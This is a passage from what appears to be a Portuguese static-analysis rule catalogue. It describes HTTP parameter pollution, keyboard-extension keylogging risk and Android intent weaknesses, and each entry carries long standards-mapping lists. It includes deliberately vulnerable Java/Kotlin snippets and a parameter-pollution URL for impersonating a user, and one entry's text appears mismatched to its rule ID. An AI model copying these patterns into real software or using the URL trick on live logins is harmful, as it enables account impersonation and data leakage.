[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Ele pode obter apenas os dados do primeiro parâmetro.
Ele pode obter os dados do último parâmetro.
Ele pode obter os dados de todos os parâmetros e concatená-los.


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor do aplicativo e da lógica do próprio aplicativo, esta solicitação pode causar confusão para o sistema de autenticação e permitir a um invasor representar outro usuário.
http://www.server.com/login.php?name=alice&name=hacker

Conforme demonstrado, o invasor já especificou name=alice, mas adicionou name=alice& e, se isso estiver em uso em um servidor que obtém a primeira ocorrência, ele poderá representar alice para obter mais informações sobre a conta dela.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
O aplicativo permite que extensões de teclado de terceiros sejam instaladas.
Explanation
As extensões de teclado têm permissão para ler todas as teclas que um usuário pressiona. Os teclados de terceiros são normalmente usados para facilitar a entrada de texto ou para adicionar emojis adicionais, e eles podem registrar em log o que o usuário insere ou até mesmo enviar esses logs para um servidor remoto para processamento. Os teclados mal-intencionados também podem ser distribuídos para atuar como um keylogger e ler todas as teclas pressionadas pelo usuário, a fim de roubar dados confidenciais, como credenciais ou números de cartão de crédito.
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
O aplicativo permite que extensões de teclado de terceiros sejam instaladas.
Explanation
As extensões de teclado têm permissão para ler todas as teclas que um usuário pressiona. Os teclados de terceiros são normalmente usados para facilitar a entrada de texto ou para adicionar emojis adicionais, e eles podem registrar em log o que o usuário insere ou até mesmo enviar esses logs para um servidor remoto para processamento. Os teclados mal-intencionados também podem ser distribuídos para atuar como um keylogger e ler todas as teclas pressionadas pelo usuário, a fim de roubar dados confidenciais, como credenciais ou números de cartão de crédito.
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
Permitir que a entrada do usuário controle parâmetros de Intenção pode permitir que um invasor controle o comportamento de atividades subsequentes.
Explanation
Um problema de manipulação de intenção ocorre quando as duas condições a seguir são atendidas:

1. Um invasor pode especificar a ação, o nome da classe ou o componente de uma Intenção do Android.

Por exemplo, um invasor pode ser capaz de especificar o nome da classe ou o componente para lidar com a intenção.

2. Ao especificar a ação, o nome da classe ou o componente, o invasor adquire uma capacidade que, de outra forma, não seria permitida.

Por exemplo, o programa pode dar ao invasor a capacidade de transmitir informações confidenciais a um software de terceiros no dispositivo.

Exemplo 1: O código a seguir usa um argumento lido a partir de uma solicitação HTTP para definir o nome da classe de uma intenção.


String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
References
[1] Intent
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 99
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation
Abstract
Uma Intent interna implícita foi detectada. Intenções internas implícitas podem expor o sistema a ataques do tipo man-in-the-middle em componentes internos.
Explanation
Uma Intent interna usa uma ação personalizada conforme definido por um componente interno. Intenções implícitas podem facilitar a chamada de intenções de qualquer componente externo sem o conhecimento do componente específico. A combinação das duas permite que um aplicativo acesse intenções especificadas para um uso interno específico fora do contexto do aplicativo desejado.

A capacidade de processar uma Intent interna de um aplicativo externo pode permitir uma ampla variedade de explorações man-in-the-middle que variam em gravidade desde vazamento de informações e negação de serviço até execução remota de código, dependendo da capacidade de ação interna especificada pela Intent.

Exemplo 1: O código a seguir usa uma Intent interna implícita.


...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
References
[1] Remediation of Implicit Internal Intent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_internal_intent
Abstract
Uma PendingIntent implícita foi detectada. Intenções pendentes implícitas podem resultar em vulnerabilidades de segurança, como negação de serviço, vazamento de informações privadas e do sistema e escalonamento de privilégios.
Explanation
Intents Android são usadas para vincular aplicativos e componentes de aplicativos, fornecendo instruções sobre ações que um determinado componente executa. As intenções pendentes são criadas para entregar a Intent posteriormente. As intenções implícitas facilitam a chamada de intenções de qualquer componente externo, usando um nome geral e um filtro para determinar a execução.

Quando uma Intent implícita é criada como uma PendingIntent, isso pode permitir que Intent seja enviada para um componente não intencional que é executado fora do contexto temporal pretendido, deixando o sistema vulnerável a explorar vetores como negação de serviço, vazamento de informações privadas e do sistema e escalonamento de privilégios.

Exemplo 1: O seguinte código usa uma PendingIntent implícita.


...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_pending_intent
Abstract
Uma PendingIntent foi detectada com seu valor de sinalizador definido como FLAG_MUTABLE. Intenções pendentes criadas com o valor do sinalizador de FLAG_MUTABLE são suscetíveis a ter campos não especificados Intent definido a jusante, que pode modificar a capacidade da Intent e deixar o sistema aberto a vulnerabilidades.
Explanation
Permitindo a modificação da Intent subjacente de uma PendingIntent após sua criação pode deixar um sistema aberto a ataques. Isso depende principalmente da capacidade geral da Intent subjacente. Na maioria dos casos, é uma prática recomendada evitar possíveis problemas definindo o sinalizador PendingIntent como FLAG_IMMUTABLE.

Exemplo 1: O seguinte inclui uma PendingIntent criada com um valor de sinalizador de FLAG_MUTABLE.


...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE

val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
